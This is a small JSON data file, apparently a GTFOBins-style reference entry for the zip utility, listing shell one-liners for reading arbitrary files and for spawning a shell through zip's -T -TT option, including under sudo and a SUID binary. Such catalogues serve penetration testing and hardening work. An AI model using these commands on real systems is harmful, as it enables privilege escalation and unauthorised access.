You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

25 lines
503 B
JSON

{
"functions": {
"file-read": [
{
"code": "TF=$(mktemp -u)\nzip $TF [file]\nunzip -p $TF\n"
}
],
"shell": [
{
"code": "TF=$(mktemp -u)\nzip $TF /etc/hosts -T -TT 'sh #'\nrm $TF\n"
}
],
"sudo": [
{
"code": "TF=$(mktemp -u)\nsudo zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n"
}
],
"limited-suid": [
{
"code": "TF=$(mktemp -u)\n./zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n"
}
]
}
}